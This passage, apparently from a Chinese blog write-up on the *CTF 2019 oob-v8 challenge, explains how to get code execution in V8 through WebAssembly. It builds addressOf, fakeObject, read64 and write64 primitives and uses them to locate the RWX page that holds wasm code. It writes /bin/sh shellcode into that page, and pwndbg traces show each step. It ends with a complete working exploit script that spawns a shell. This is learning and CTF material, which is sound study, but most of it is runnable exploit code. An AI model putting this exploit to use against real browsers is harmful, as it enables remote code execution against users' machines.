经过上述过程可以发现, 我们编写的 C 语言代码直接在 JS 中运行了. 那有没有一种可能就是, 直接在 wasm 中写入我们的 shellcode, 然后浏览器调用执行, 是不是不需要漏洞就能执行我们的 shellcode 了?
呵呵, 当然是不行的, 否则浏览器还不得被黑产搞死. 简单举个例子, 假设我们在 WasmFiddle 中编写 C 语言中需要调用系统库的最简单的 hello world 函数:
- #include <stdio.h>
- int func() {
- printf("hello wasm");
- }
编译后在线运行, 可以发现 JS 抛出以下异常:
line 2: Uncaught TypeError: WebAssembly.Instance(): Import #0 module="env" error: module is not an object or function
简单来说就是, wasm 从安全性考虑也不可能允许通过浏览器直接调用系统函数. wasm 中只能运行数学计算, 图像处理等系统无关的高级语言代码.
2. 如何在 wasm 中运行 shellcode
虽然我们无法直接生成 wasm 的 shellcode, 但我们可以结合漏洞将原本内存中的的 wasm 代码替换为 shellcode, 当后续调用 wasm 的接口时, 实际上调用的就是我们的 shellcode 了.
那么我们利用 wasm 执行 shellcode 的思路已经基本清晰:
首先加载一段 wasm 代码到内存中
然后通过 addresssOf 原语找到存放 wasm 的内存地址
接着通过任意地址写原语用 shellcode 替换原本 wasm 的代码内容
最后调用 wasm 的函数接口即可触发调用 shellcode
如何找到 v8 存放 wasm 代码的内存页地址呢? 我们编写下面的 JS 代码调试一下:
- var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
- var wasmModule = new WebAssembly.Module(wasmCode);
- var wasmInstance = new WebAssembly.Instance(wasmModule, {
- });
- var f = wasmInstance.exports.main;
- var f_addr = addressOf(f);
- console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
- %SystemBreak();
执行得到 wasm 函数的接口地址:
- pwndbg> r
- [*] leak wasm func addr: 0x000029c78a5e2068
利用 job 命令查看函数结构对象, 经过 Function->shared_info->WasmExportedFunctionData->instance 等一系列调用关系, 在 instance+0*88 的固定偏移处, 就能读取到存储 wasm 代码的内存页起始地址, 如下所示:
pwndbg> job 0x000029c78a5e2069 <-- Function 接口对象
- 0x29c78a5e2069: [Function] in OldSpace
- - map: 0x21ba60f84379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- - prototype: 0x29c78a5c2109 <JSFunction (sfi = 0x375c767c3b29)>
- - elements: 0x099635fc0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- - function prototype: <no-prototype-slot>
- shared_info: 0x29c78a5e2031 <SharedFunctionInfo 0> <-- 找到 shared_info
- - name: 0x099635fc4ae1 <String[#1]: 0>
- - formal_parameter_count: 0
- - kind: NormalFunction
- - context: 0x29c78a5c1869 <NativeContext[246]>
- - code: 0x1fda7e782001 <Code JS_TO_WASM_FUNCTION>
- - WASM instance 0x29c78a5e1e71
- - WASM function index 0
- - properties: 0x099635fc0c71 <FixedArray[0]> {
- #length: 0x375c767c04b9 <AccessorInfo> (const accessor descriptor)
- #name: 0x375c767c0449 <AccessorInfo> (const accessor descriptor)
- #arguments: 0x375c767c0369 <AccessorInfo> (const accessor descriptor)
- #caller: 0x375c767c03d9 <AccessorInfo> (const accessor descriptor)
- }
- - feedback vector: not available
pwndbg> job 0x29c78a5e2031 <-- 查看 shared_info
- 0x29c78a5e2031: [SharedFunctionInfo] in OldSpace
- - map: 0x099635fc09e1 <Map[56]>
- - name: 0x099635fc4ae1 <String[#1]: 0>
- - kind: NormalFunction
- - function_map_index: 144
- - formal_parameter_count: 0
- - expected_nof_properties: 0
- - language_mode: sloppy
- data: 0x29c78a5e2009 <WasmExportedFunctionData> <-- 找到 WasmExportedFunctionData
- - code (from data): 0x1fda7e782001 <Code JS_TO_WASM_FUNCTION>
- - function token position: -1
- - start position: -1
- - end position: -1
- - no debug info
- - scope info: 0x099635fc0c61 <ScopeInfo[0]>
- - length: 0
- - feedback_metadata: 0x99635fc2a39: [FeedbackMetadata]
- - map: 0x099635fc1319 <Map>
- - slot_count: 0
- pwndbg> job 0x29c78a5e2009 <-- WasmExportedFunctionData
- 0x29c78a5e2009: [WasmExportedFunctionData] in OldSpace
- - map: 0x099635fc5879 <Map[40]>
- - wrapper_code: 0x1fda7e782001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x29c78a5e1e71 <Instance map = 0x21ba60f89789> <-- 找到 instance
- function_index: 0
pwndbg> telescope 0x29c78a5e1e70+0x88 <-- instance+0x88 的位置存储的即为 RWX 内存页起始地址
00:0000│ 0x29c78a5e1ef8 - 0x2257a726c000 - movabs r10, 0x2257a726c260 /* 0x2257a726c260ba49 */
01:0008│ 0x29c78a5e1f00 - 0xfaa2fd10971 - 0x71000021ba60f891
- pwndbg> vmmap 0x2257a726c000
- LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
- 0x2257a726c000 0x2257a726d000 rwxp 1000 0
根据上述寻找思路, 结合 addressOf 和 read64 原语, 写出泄露 RWX 内存页起始地址的 JS 代码如下所示:
- var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
- var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
- var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
- var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
- console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
gdb 调试结果如下:
- pwndbg> r
- Starting program: browser/x64.release/d8 --allow-natives-syntax ./test.JS
- [*] leak wasm func addr: 0x00000c268c4223f8
- [*] leak from: 0x00000c268c422410: 0x00000c268c4223c1
- [*] leak from: 0x00000c268c4223c8: 0x00000c268c422399
- [*] leak from: 0x00000c268c4223a8: 0x00000c268c422201
- [*] leak from: 0x00000c268c422288: 0x00001194dbc9a000
- [*] leak rwx_page_addr: 0x00001194dbc9a000
可以发现成功泄露了 rwx 内存页的起始地址,
后续只要利用任意地址写 write64 原语我们的 shellcode 写入这个 rwx 页, 然后调用 wasm 函数接口即可触发我们的 shellcode 了, 具体实现如下所示:
- /*/bin/sh for Linux x64
- char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f \x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
- */
- var shellcode = [
- 0x2fbb485299583b6an,
- 0x5368732f6e69622fn,
- 0x050f5e5457525f54n
- ];
- var data_buf = new ArrayBuffer(24);
- var data_view = new DataView(data_buf);
- var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
- write64(buf_backing_store_addr, rwx_page_addr); // 这里写入之前泄露的 rwx_page_addr 地址
- data_view.setFloat64(0, i2f(shellcode[0]), true);
- data_view.setFloat64(8, i2f(shellcode[1]), true);
- data_view.setFloat64(16, i2f(shellcode[2]), true);
- f();
最终运行结果如下:
./d8 test.JS
- [*] leak wasm func addr: 0x000035475ed224a0
- [*] leak from: 0x000035475ed224b8: 0x000035475ed22469
- [*] leak from: 0x000035475ed22470: 0x000035475ed22441
- [*] leak from: 0x000035475ed22450: 0x000035475ed222a9
- [*] leak from: 0x000035475ed22330: 0x0000385d0236c000
- [*] leak rwx_page_addr: 0x0000385d0236c000
- [*] write to : 0x00000342671d1bc0: 0x0000385d0236c000
- $ uname -a
- Linux 4.18.0-18-generic #19~18.04.1-Ubuntu SMP Fri Apr 5 10:22:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
- $
最后给出一个完整的 exp 脚本:
- // ********1. 无符号 64 位整数和 64 位浮点数的转换代码 ********
- var buf =new ArrayBuffer(16);
- var float64 = new Float64Array(buf);
- var bigUint64 = new BigUint64Array(buf);
- // 浮点数转换为 64 位无符号整数
- function f2i(f)
- {
- float64[0] = f;
- return bigUint64[0];
- }
- // 64 位无符号整数转为浮点数
- function i2f(i)
- {
- bigUint64[0] = i;
- return float64[0];
- }
- // 64 位无符号整数转为 16 进制字节串
- function hex(i)
- {
- return i.toString(16).padStart(16, "0");
- }
- // ********2. addressOf 和 fakeObject 的实现 ********
- var obj = {"a": 1};
- var obj_array = [obj];
- var float_array = [1.1];
- var obj_array_map = obj_array.oob();
- var float_array_map = float_array.oob();
- // 泄露某个 object 的地址
- function addressOf(obj_to_leak)
- {
- obj_array[0] = obj_to_leak;
- obj_array.oob(float_array_map);
- let obj_addr = f2i(obj_array[0]) - 1n;
- obj_array.oob(obj_array_map); // 还原 array 类型, 以便后续继续使用
- return obj_addr;
- }
- // 将某个 addr 强制转换为 object 对象
- function fakeObject(addr_to_fake)
- {
- float_array[0] = i2f(addr_to_fake + 1n);
- float_array.oob(obj_array_map);
- let faked_obj = float_array[0];
- float_array.oob(float_array_map); // 还原 array 类型, 以便后续继续使用
- return faked_obj;
- }
- var fake_array = [
- float_array_map,
- i2f(0n),
- i2f(0x41414141n),
- i2f(0x1000000000n),
- 1.1,
- 2.2,
- ];
- var fake_array_addr = addressOf(fake_array);
- var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
- var fake_object = fakeObject(fake_object_addr);
- function read64(addr)
- {
- fake_array[2] = i2f(addr - 0x10n + 0x1n);
- let leak_data = f2i(fake_object[0]);
- console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
- return leak_data;
- }
- function write64(addr, data)
- {
- fake_array[2] = i2f(addr - 0x10n + 0x1n);
- fake_object[0] = i2f(data);
- console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
- }
- var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
- var wasmModule = new WebAssembly.Module(wasmCode);
- var wasmInstance = new WebAssembly.Instance(wasmModule, {});
- var f = wasmInstance.exports.main;
- var f_addr = addressOf(f);
- console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
- var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
- var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
- var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
- var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
- console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
- var shellcode = [
- 0x2fbb485299583b6an,
- 0x5368732f6e69622fn,
- 0x050f5e5457525f54n
- ];
- var data_buf = new ArrayBuffer(24);
- var data_view = new DataView(data_buf);
- var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
- write64(buf_backing_store_addr, rwx_page_addr);
- data_view.setFloat64(0, i2f(shellcode[0]), true);
- data_view.setFloat64(8, i2f(shellcode[1]), true);
- data_view.setFloat64(16, i2f(shellcode[2]), true);
- f();
0*08 总结
总结了两天才把思路捋顺了, 这是自己第一次系统性地学习浏览器漏洞利用. 从整个利用过程来看, 一个浏览器漏洞的完整利用基本上需要经过以下 3 个步骤:
首先借助漏洞将越界读写, 类型混淆等漏洞实现 addressOf 和 fakeObject 原语
然后通过 addressOf 和 fakeObject 原语实现任意地址读写原语 read64 和 write64
最后利用传统堆利用或 wasm 写入并触发 shellcode
当然最难的部分就是怎么借助于漏洞实现 addressOf 和 fakeObject 原语, 这也是后续需要多学习积累的部分. 文中难免有理解错误的地方, 敬请斧正.
0*09 参考
[0] Ne0 master GitHub https://github.com/Changochen
[1] *CTF 2019 oob-v8
[2] Exploiting the Math.expm1 typing bug in V8
[3] Exploiting Chrome V8: Krautflare (35C3 CTF 2018)
[4] WasmFiddle https://wasdk.github.io/WasmFiddle/
[5] pwn.JS
[6] startctf2019-oob
来源: http://www.tuicool.com/articles/ayumuuR